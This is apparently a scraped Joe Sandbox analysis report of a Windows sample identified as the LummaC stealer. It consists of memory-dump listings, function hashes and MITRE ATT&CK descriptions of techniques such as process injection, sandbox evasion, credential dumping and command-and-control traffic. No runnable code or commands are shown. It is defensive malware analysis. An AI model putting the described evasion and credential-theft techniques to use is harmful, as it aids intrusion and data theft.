Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccb0a23d1ab657a154e08fcbed22065e397a950d5a48c6ac41a032e2ef0cc317
Instruction ID: 792a96a79daf128ec4d81ea1d8f9b6962b4568c0c28539c2e676dcbfc83c1e15
Opcode Fuzzy Hash: ccb0a23d1ab657a154e08fcbed22065e397a950d5a48c6ac41a032e2ef0cc317
Instruction Fuzzy Hash: F4210CB3F106210BF7584879DD693776583DBD4314E2A823D8B8AA7BC9D8BD5D0A1284

Function 00CDC0AF Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2367201902.0000000000CA1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367181956.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367306642.0000000000DF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367327537.0000000000DFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2417790bcd502847f10e1b9d0b3544bf9c7ef1c7b1cd267a75ddfd89dd9060b
Instruction ID: 5246453d9b77617bcbce9a78e79a826a8c539352a89afac6768d72f355172063
Opcode Fuzzy Hash: d2417790bcd502847f10e1b9d0b3544bf9c7ef1c7b1cd267a75ddfd89dd9060b
Instruction Fuzzy Hash: F1216DB7F1063507F3644879DD88362A9439BD5314F2F82388E5DABBCADC7E4D0A5284

Function 015A39D8 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2326949332.000000000159E000.00000004.00000020.00020000.00000000.sdmp, Offset: 0159E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_159e000_YKri2nEBWE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9d2e35ff53e1cbfe6b479e96df18c90b63f04cc91cd3786fc25d50427fd0156
Instruction ID: 6a8940c5955fe289d9caa18d3b1f4bb57af20e7ef437cf8330d7aaf34ee41558
Opcode Fuzzy Hash: a9d2e35ff53e1cbfe6b479e96df18c90b63f04cc91cd3786fc25d50427fd0156
Instruction Fuzzy Hash: 4721FF7205A3C1AFCB52DF38C9D1A833F61AF4732474A82D8E4805E047D328A623CB92

Function 00C6E0DA Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2367129117.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.2367109376.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367129117.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367181956.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367201902.0000000000CA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367306642.0000000000DF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367327537.0000000000DFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367434284.0000000000E1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367477803.0000000000E20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367495237.0000000000E25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367512455.0000000000E2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367528405.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367546835.0000000000E36000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367563170.0000000000E37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367584740.0000000000E4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367627589.0000000000E74000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367644651.0000000000E75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367661684.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367678792.0000000000E7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367695815.0000000000E7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367712406.0000000000E84000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367729171.0000000000E85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367746796.0000000000E89000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367769950.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367786833.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367803218.0000000000EA3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367820720.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367838500.0000000000EAC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367855458.0000000000EAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367873504.0000000000EB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367890292.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367948363.0000000000F1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367968441.0000000000F27000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368008632.0000000000F35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368026396.0000000000F36000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_YKri2nEBWE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a74d5857912f424093c70e21deeb6922a10a882864307659604c18145d6e58bc
Instruction ID: 179d61564ce8e2eadb26df131a2f8bfe81c294fbc7099bcd0887040b77e521c5
Opcode Fuzzy Hash: a74d5857912f424093c70e21deeb6922a10a882864307659604c18145d6e58bc
Instruction Fuzzy Hash: BBF065105087E28ADB334B3E44A06B2AFE09F63120B181BD6C8F29B2C7D3159596D366

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report YKri2nEBWE.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
YKri2nEBWE.exe

Function 00C61D00 Relevance: 26.8, Strings: 21, Instructions: 506
COMMON

Function 00C79280 Relevance: 23.4, APIs: 5, Strings: 8, Instructions: 661
memoryCOMMON

Function 00C4B100 Relevance: 19.2, Strings: 15, Instructions: 425
COMMON

Function 00C4F60D Relevance: 16.6, APIs: 1, Strings: 8, Instructions: 845
COMMON

Function 00C51227 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 750
COMMON

Function 00C78EA0 Relevance: 15.3, Strings: 12, Instructions: 287
COMMON

Function 00C4CE45 Relevance: 7.8, APIs: 1, Strings: 4, Instructions: 342
COMMON

Function 00C48600 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 356
COMMON

Function 00C6D34A Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 398
COMMON

Function 00C6D7EE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85
COMMON

Function 00C49D1E Relevance: 3.1, APIs: 2, Instructions: 142
libraryCOMMON